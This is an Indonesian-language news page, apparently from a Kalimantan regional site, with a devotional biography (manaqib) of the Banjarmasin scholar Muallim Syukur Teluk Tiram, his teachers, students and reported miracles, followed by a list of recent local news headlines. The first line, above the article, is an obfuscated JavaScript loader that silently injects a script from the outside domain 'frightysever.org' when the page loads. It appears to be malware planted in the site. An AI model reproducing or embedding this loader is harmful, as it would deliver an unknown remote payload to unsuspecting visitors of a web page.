(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Manaqib

Muallim Syukur Teluk Tiram, Sang Pemegang Kunci Futuh


Nama beliau adalah Syekh Abdus Syukur Teluk Tiram atau yang lebih dikenal dengan Muallim Syukur Teluk Tiram. Beliau seorang ulama yang pernah mengecap pendidikan agama di Tanah Haram kurang lebih 25 tahun. Selama itu, beliau menuntut ilmu kepada banyak ulama di sana, salah satunya Sayyid Muhammad Amin Al Qutbi (Salah satu guru dari Syekh Muhammad Syarwani Abdan Bangil dan Abah Guru Sekumpul).

Diceritakan, apabila ke Banjarmasin, Guru Bangil (Syekh Syarwani) berkunjung ke kediaman beliau. Dari sisi umur, Muallim Syukur lebih tua ketimbang Guru Bangil. Konon, Syekh Salman Jalil pernah belajar kepada beliau sewaktu di Tanah Haram. Hal ini dikatakan sendiri oleh Syekh Salman Jalil ketika memberi sambutan pada upacara pemakaman Muallim Syukur.

Di Banjarmasin, Muallim Syukur melakoni hidup sebagai ulama yang berpakaian sederhana (saya tidak mengatakan ulama lain berlebihan, pen). Beliau kerap memakai sarung, baju koko putih, kopiah putih, dan sorban putih yang menggantung di leher beliau. Namun, sederhananya pakaian beliau menyimpan banyak keistimewaan. Selain ilmu beliau yang luar biasa, murid-murid beliau pun luar biasa.

Penulis pernah menuliskan manaqib dua orang ulama di Desa Alalak Banjarmasin, keduanya diberikan karomah luar biasa. Salah satunya adalah jalanan yang dilewati jenazah ulama tersebut hingga makam bercahaya putih kehijau-hijauan, tampak ketika malam hari. Hal ini sempat membuat geger warga, karena hal itu berlangsung dalam waktu yang cukup lama.

Di antara murid beliau lainnya adalah KH Mahmud Hasil –penulis kitab Simpanan Berharga dan Sarantang Saruntung-. Beliau mengaji pada Muallim Syukur dalam waktu yang lama. Beberapa Kitab bahkan sampai diulang 2 kali.

“Setiap bulan puasa, libur Pesantren Darussalam, aku pulang kampung ke Teluk Tiram. Satu bulan penuh, aku mengaji dengan Muallim Syukur, dan itu terus berulang,” ujar Guru Mahmud menceritakan pengalaman beliau mengaji sekaligus berkhadam dengan Muallim.

Di penghujung umur, KH Ahmad Zuhdiannoor (Abah Haji/Guru Zuhdi) –menurut penuturan beliau- sempat mengaji kepada Muallim. Setelah wafat Muallim Syukur, beliau melanjutkan pelajaran pada Abah Guru Sekumpul.

“Muallim Syukur itu meingkuti kunci futuh, siapa saja setahun mengaji lawan sidin, maka langsung terbuka futuh (Muallim Syukur itu memegang kunci futuh, siapa saja, setahun mengaji dengan beliau, maka langsung terbuka futuh, pen),” ujar Abah Haji mengutip perkataan Abah Guru Sekumpul. (Ben Syaifi/berbagai sumber)


Desy Arfianty

Recent Posts

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

9 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

29 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

58 menit ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

1 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

19 jam ago

This website uses cookies.